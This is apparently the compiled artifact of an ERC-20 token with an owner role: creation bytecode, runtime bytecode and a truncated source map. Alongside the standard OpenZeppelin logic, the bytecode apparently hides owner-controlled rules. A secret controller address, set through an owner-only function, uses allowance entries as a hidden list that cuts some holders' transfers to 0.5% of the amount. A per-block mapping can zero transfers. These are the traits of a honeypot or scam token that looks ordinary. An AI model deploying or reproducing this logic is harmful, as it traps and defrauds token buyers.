ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f039190611445565b10610f1857610f11826110ae565b9050610f1c565b8190505b9392505050565b61ffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036110685763ffffffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160035f43328760405160200161108293929190611899565b6040516020818303038152906040528051906020012081526020019081526020015f2081905550505050565b5f620f4240611388836110c191906119cb565b6110cb9190611a39565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111095780820151818401526020810190506110ee565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61112e826110d2565b61113881856110dc565b93506111488185602086016110ec565b61115181611114565b840191505092915050565b5f6020820190508181035f8301526111748184611124565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111a982611180565b9050919050565b6111b98161119f565b81146111c3575f80fd5b50565b5f813590506111d4816111b0565b92915050565b5f819050919050565b6111ec816111da565b81146111f6575f80fd5b50565b5f81359050611207816111e3565b92915050565b5f80604083850312156112235761122261117c565b5b5f611230858286016111c6565b9250506020611241858286016111f9565b9150509250929050565b5f8115159050919050565b61125f8161124b565b82525050565b5f6020820190506112785f830184611256565b92915050565b611287816111da565b82525050565b5f6020820190506112a05f83018461127e565b92915050565b5f805f606084860312156112bd576112bc61117c565b5b5f6112ca868287016111c6565b93505060206112db868287016111c6565b92505060406112ec868287016111f9565b9150509250925092565b5f6020828403121561130b5761130a61117c565b5b5f611318848285016111c6565b91505092915050565b5f60ff82169050919050565b61133681611321565b82525050565b5f60208201905061134f5f83018461132d565b92915050565b61135e8161119f565b82525050565b5f6020820190506113775f830184611355565b92915050565b5f80604083850312156113935761139261117c565b5b5f6113a0858286016111c6565b92505060206113b1858286016111c6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113ff57607f821691505b602082108103611412576114116113bb565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61144f826111da565b915061145a836111da565b925082820190508082111561147257611471611418565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6114d26025836110dc565b91506114dd82611478565b604082019050919050565b5f6020820190508181035f8301526114ff816114c6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6115606026836110dc565b915061156b82611506565b604082019050919050565b5f6020820190508181035f83015261158d81611554565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6115ee6024836110dc565b91506115f982611594565b604082019050919050565b5f6020820190508181035f83015261161b816115e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61167c6022836110dc565b915061168782611622565b604082019050919050565b5f6020820190508181035f8301526116a981611670565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6116e4601d836110dc565b91506116ef826116b0565b602082019050919050565b5f6020820190508181035f830152611711816116d8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6117726025836110dc565b915061177d82611718565b604082019050919050565b5f6020820190508181035f83015261179f81611766565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6118006023836110dc565b915061180b826117a6565b604082019050919050565b5f6020820190508181035f83015261182d816117f4565b9050919050565b5f819050919050565b61184e611849826111da565b611834565b82525050565b5f8160601b9050919050565b5f61186a82611854565b9050919050565b5f61187b82611860565b9050919050565b61189361188e8261119f565b611871565b82525050565b5f6118a4828661183d565b6020820191506118b48285611882565b6014820191506118c48284611882565b601482019150819050949350505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61192f6026836110dc565b915061193a826118d5565b604082019050919050565b5f6020820190508181035f83015261195c81611923565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119976020836110dc565b91506119a282611963565b602082019050919050565b5f6020820190508181035f8301526119c48161198b565b9050919050565b5f6119d5826111da565b91506119e0836111da565b92508282026119ee816111da565b91508282048414831517611a0557611a04611418565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a43826111da565b9150611a4e836111da565b925082611a5e57611a5d611a0c565b5b82820490509291505056fea26469706673582212208a1fd016005872b49d2040fa6b608ba106c4ad115cf253886683e83fe522b54464736f6c63430008170033

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a457c2d711610064578063a457c2d714610273578063a9059cbb146102a3578063dd62ed3e146102d3578063f2fde38b14610303576100f3565b806370a08231146101fd578063715018a61461022d5780638da5cb5b1461023757806395d89b4114610255576100f3565b806323b872dd116100d157806323b872dd1461016357806328d99bfb14610193578063313ce567146101af57806339509351146101cd576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c919061115c565b60405180910390f35b61012f600480360381019061012a919061120d565b6103af565b60405161013c9190611265565b60405180910390f35b61014d6103d1565b60405161015a919061128d565b60405180910390f35b61017d600480360381019061017891906112a6565b6103da565b60405161018a9190611265565b60405180910390f35b6101ad60048036038101906101a891906112f6565b610408565b005b6101b7610489565b6040516101c4919061133c565b60405180910390f35b6101e760048036038101906101e2919061120d565b610491565b6040516101f49190611265565b60405180910390f35b610217600480360381019061021291906112f6565b6104c7565b604051610224919061128d565b60405180910390f35b61023561050d565b005b61023f610520565b60405161024c9190611364565b60405180910390f35b61025d610547565b60405161026a919061115c565b60405180910390f35b61028d6004803603810190610288919061120d565b6105d7565b60405161029a9190611265565b60405180910390f35b6102bd60048036038101906102b8919061120d565b61064c565b6040516102ca9190611265565b60405180910390f35b6102ed60048036038101906102e8919061137d565b61066e565b6040516102fa919061128d565b60405180910390f35b61031d600480360381019061031891906112f6565b6106f0565b005b60606005805461032e906113e8565b80601f016020809104026020016040519081016040528092919081815260200182805461035a906113e8565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f806103b9610772565b90506103c6818585610779565b600191505092915050565b5f600454905090565b5f806103e4610772565b90506103f185828561093c565b6103fc8585856109c7565b60019150509392505050565b610410610520565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610446575f80fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6012905090565b5f8061049b610772565b90506104bc8185856104ad858961066e565b6104b79190611445565b610779565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610515610c80565b61051e5f610cfe565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610556906113e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610582906113e8565b80156105cd5780601f106105a4576101008083540402835291602001916105cd565b820191905f5260205f20905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b5f806105e1610772565b90505f6105ee828661066e565b905083811015610633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062a906114e8565b60405180910390fd5b6106408286868403610779565b60019250505092915050565b5f80610656610772565b90506106638185856109c7565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6106f8610c80565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075d90611576565b60405180910390fd5b61076f81610cfe565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de90611604565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c90611692565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092f919061128d565b60405180910390a3505050565b5f610947848461066e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa906116fa565b60405180910390fd5b6109c08484848403610779565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90611788565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90611816565b60405180910390fd5b5f610aaf848484610dbf565b90505f60035f433287604051602001610aca93929190611899565b6040516020818303038152906040528051906020012081526020019081526020015f205414610af7575f90505b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7290611945565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c66919061128d565b60405180910390a3610c79858585610f23565b5050505050565b610c88610772565b73ffffffffffffffffffffffffffffffffffffffff16610ca6610520565b73ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3906119ad565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f63ffffffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f039190611445565b10610f1857610f11826110ae565b9050610f1c565b8190505b9392505050565b61ffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036110685763ffffffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160035f43328760405160200161108293929190611899565b6040516020818303038152906040528051906020012081526020019081526020015f2081905550505050565b5f620f4240611388836110c191906119cb565b6110cb9190611a39565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111095780820151818401526020810190506110ee565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61112e826110d2565b61113881856110dc565b93506111488185602086016110ec565b61115181611114565b840191505092915050565b5f6020820190508181035f8301526111748184611124565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111a982611180565b9050919050565b6111b98161119f565b81146111c3575f80fd5b50565b5f813590506111d4816111b0565b92915050565b5f819050919050565b6111ec816111da565b81146111f6575f80fd5b50565b5f81359050611207816111e3565b92915050565b5f80604083850312156112235761122261117c565b5b5f611230858286016111c6565b9250506020611241858286016111f9565b9150509250929050565b5f8115159050919050565b61125f8161124b565b82525050565b5f6020820190506112785f830184611256565b92915050565b611287816111da565b82525050565b5f6020820190506112a05f83018461127e565b92915050565b5f805f606084860312156112bd576112bc61117c565b5b5f6112ca868287016111c6565b93505060206112db868287016111c6565b92505060406112ec868287016111f9565b9150509250925092565b5f6020828403121561130b5761130a61117c565b5b5f611318848285016111c6565b91505092915050565b5f60ff82169050919050565b61133681611321565b82525050565b5f60208201905061134f5f83018461132d565b92915050565b61135e8161119f565b82525050565b5f6020820190506113775f830184611355565b92915050565b5f80604083850312156113935761139261117c565b5b5f6113a0858286016111c6565b92505060206113b1858286016111c6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113ff57607f821691505b602082108103611412576114116113bb565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61144f826111da565b915061145a836111da565b925082820190508082111561147257611471611418565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6114d26025836110dc565b91506114dd82611478565b604082019050919050565b5f6020820190508181035f8301526114ff816114c6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6115606026836110dc565b915061156b82611506565b604082019050919050565b5f6020820190508181035f83015261158d81611554565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6115ee6024836110dc565b91506115f982611594565b604082019050919050565b5f6020820190508181035f83015261161b816115e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61167c6022836110dc565b915061168782611622565b604082019050919050565b5f6020820190508181035f8301526116a981611670565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6116e4601d836110dc565b91506116ef826116b0565b602082019050919050565b5f6020820190508181035f830152611711816116d8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6117726025836110dc565b915061177d82611718565b604082019050919050565b5f6020820190508181035f83015261179f81611766565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6118006023836110dc565b915061180b826117a6565b604082019050919050565b5f6020820190508181035f83015261182d816117f4565b9050919050565b5f819050919050565b61184e611849826111da565b611834565b82525050565b5f8160601b9050919050565b5f61186a82611854565b9050919050565b5f61187b82611860565b9050919050565b61189361188e8261119f565b611871565b82525050565b5f6118a4828661183d565b6020820191506118b48285611882565b6014820191506118c48284611882565b601482019150819050949350505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61192f6026836110dc565b915061193a826118d5565b604082019050919050565b5f6020820190508181035f83015261195c81611923565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119976020836110dc565b91506119a282611963565b602082019050919050565b5f6020820190508181035f8301526119c48161198b565b9050919050565b5f6119d5826111da565b91506119e0836111da565b92508282026119ee816111da565b91508282048414831517611a0557611a04611418565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a43826111da565b9150611a4e836111da565b925082611a5e57611a5d611a0c565b5b82820490509291505056fea26469706673582212208a1fd016005872b49d2040fa6b608ba106c4ad115cf253886683e83fe522b54464736f6c63430008170033

80:138:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;941:98:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3348:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2033:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4107:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2713:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1878:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4788:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2197:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2457:101:0;;;:::i;:::-;;1834:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1152:102:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5509:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2518:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2891:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2707:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;941:98:1;995:13;1027:5;1020:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;941:98;:::o;3348:197::-;3431:4;3447:13;3463:12;:10;:12::i;:::-;3447:28;;3485:32;3494:5;3501:7;3510:6;3485:8;:32::i;:::-;3534:4;3527:11;;;3348:197;;;;:::o;2033:106::-;2094:7;2120:12;;2113:19;;2033:106;:::o;4107:286::-;4234:4;4250:15;4268:12;:10;:12::i;:::-;4250:30;;4290:38;4306:4;4312:7;4321:6;4290:15;:38::i;:::-;4338:27;4348:4;4354:2;4358:6;4338:9;:27::i;:::-;4382:4;4375:11;;;4107:286;;;;;:::o;2713:120::-;2789:7;:5;:7::i;:::-;2775:21;;:10;:21;;;2766:32;;;;;;2818:8;2808:7;;:18;;;;;;;;;;;;;;;;;;2713:120;:::o;1878:91::-;1936:5;1960:2;1953:9;;1878:91;:::o;4788:234::-;4876:4;4892:13;4908:12;:10;:12::i;:::-;4892:28;;4930:64;4939:5;4946:7;4983:10;4955:25;4965:5;4972:7;4955:9;:25::i;:::-;:38;;;;:::i;:::-;4930:8;:64::i;:::-;5011:4;5004:11;;;4788:234;;;;:::o;2197:125::-;2271:7;2297:9;:18;2307:7;2297:18;;;;;;;;;;;;;;;;2290:25;;2197:125;;;:::o;2457:101:0:-;1727:13;:11;:13::i;:::-;2521:30:::1;2548:1;2521:18;:30::i;:::-;2457:101::o:0;1834:85::-;1880:7;1906:6;;;;;;;;;;;1899:13;;1834:85;:::o;1152:102:1:-;1208:13;1240:7;1233:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1152:102;:::o;5509:427::-;5602:4;5618:13;5634:12;:10;:12::i;:::-;5618:28;;5656:24;5683:25;5693:5;5700:7;5683:9;:25::i;:::-;5656:52;;5746:15;5726:16;:35;;5718:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5837:60;5846:5;5853:7;5881:15;5862:16;:34;5837:8;:60::i;:::-;5925:4;5918:11;;;;5509:427;;;;:::o;2518:189::-;2597:4;2613:13;2629:12;:10;:12::i;:::-;2613:28;;2651;2661:5;2668:2;2672:6;2651:9;:28::i;:::-;2696:4;2689:11;;;2518:189;;;;:::o;2891:149::-;2980:7;3006:11;:18;3018:5;3006:18;;;;;;;;;;;;;;;:27;3025:7;3006:27;;;;;;;;;;;;;;;;2999:34;;2891:149;;;;:::o;2707:198:0:-;1727:13;:11;:13::i;:::-;2815:1:::1;2795:22;;:8;:22;;::::0;2787:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2870:28;2889:8;2870:18;:28::i;:::-;2707:198:::0;:::o;587:96::-;640:7;666:10;659:17;;587:96;:::o;9667:370:1:-;9815:1;9798:19;;:5;:19;;;9790:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9895:1;9876:21;;:7;:21;;;9868:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9977:6;9947:11;:18;9959:5;9947:18;;;;;;;;;;;;;;;:27;9966:7;9947:27;;;;;;;;;;;;;;;:36;;;;10014:7;9998:32;;10007:5;9998:32;;;10023:6;9998:32;;;;;;:::i;:::-;;;;;;;;9667:370;;;:::o;10318:441::-;10448:24;10475:25;10485:5;10492:7;10475:9;:25::i;:::-;10448:52;;10534:17;10514:16;:37;10510:243;;10595:6;10575:16;:26;;10567:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10677:51;10686:5;10693:7;10721:6;10702:16;:25;10677:8;:51::i;:::-;10510:243;10438:321;10318:441;;;:::o;6389:961::-;6531:1;6515:18;;:4;:18;;;6507:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6607:1;6593:16;;:2;:16;;;6585:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6660:15;6678:38;6699:4;6705:2;6709:6;6678:20;:38::i;:::-;6660:56;;6802:1;6731:9;:67;6768:12;6782:9;6793:2;6751:45;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6741:56;;;;;;6731:67;;;;;;;;;;;;:72;6727:114;;6829:1;6819:11;;6727:114;6851:19;6873:9;:15;6883:4;6873:15;;;;;;;;;;;;;;;;6851:37;;6921:6;6906:11;:21;;6898:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7036:6;7022:11;:20;7004:9;:15;7014:4;7004:15;;;;;;;;;;;;;;;:38;;;;7236:7;7219:9;:13;7229:2;7219:13;;;;;;;;;;;;;;;;:24;;;;;;;;;;;7284:2;7269:26;;7278:4;7269:26;;;7288:6;7269:26;;;;;;:::i;:::-;;;;;;;;7306:37;7326:4;7332:2;7336:6;7306:19;:37::i;:::-;6497:853;;6389:961;;;:::o;1992:130:0:-;2066:12;:10;:12::i;:::-;2055:23;;:7;:5;:7::i;:::-;:23;;;2047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1992:130::o;3059:187::-;3132:16;3151:6;;;;;;;;;;;3132:25;;3176:8;3167:6;;:17;;;;;;;;;;;;;;;;;;3230:8;3199:40;;3220:8;3199:40;;;;;;;;;;;;3122:124;3059:187;:::o;12222:320:1:-;12347:7;12427:10;12399:11;:20;12411:7;;;;;;;;;;;12399:20;;;;;;;;;;;;;;;:24;12420:2;12399:24;;;;;;;;;;;;;;;;12370:11;:20;12382:7;;;;;;;;;;;12370:20;;;;;;;;;;;;;;;:26;12391:4;12370:26;;;;;;;;;;;;;;;;:53;;;;:::i;:::-;:67;12366:170;;12460:21;12474:6;12460:13;:21::i;:::-;12453:28;;;;12366:170;12519:6;12512:13;;12222:320;;;;;;:::o;11347:291::-;11501:6;11473:11;:20;11485:7;;;;;;;;;;;11473:20;;;;;;;;;;;;;;;:24;11494:2;11473:24;;;;;;;;;;;;;;;;:34;11469:80;;11537:10;11510:11;:20;11522:7;;;;;;;;;;;11510:20;;;;;;;;;;;;;;;:24;11531:2;11510:24;;;;;;;;;;;;;;;:37;;;;11469:80;11630:1;11558:9;:69;11595:12;11609:9;11620:4;11578:47;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;11568:58;;;;;;11558:69;;;;;;;;;;;:73;;;;11347:291;;;:::o;9151:93::-;9207:7;9235;9228:4;9224:1;:8;;;;:::i;:::-;:18;;;;:::i;:::-;9217:25;;9151:93;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5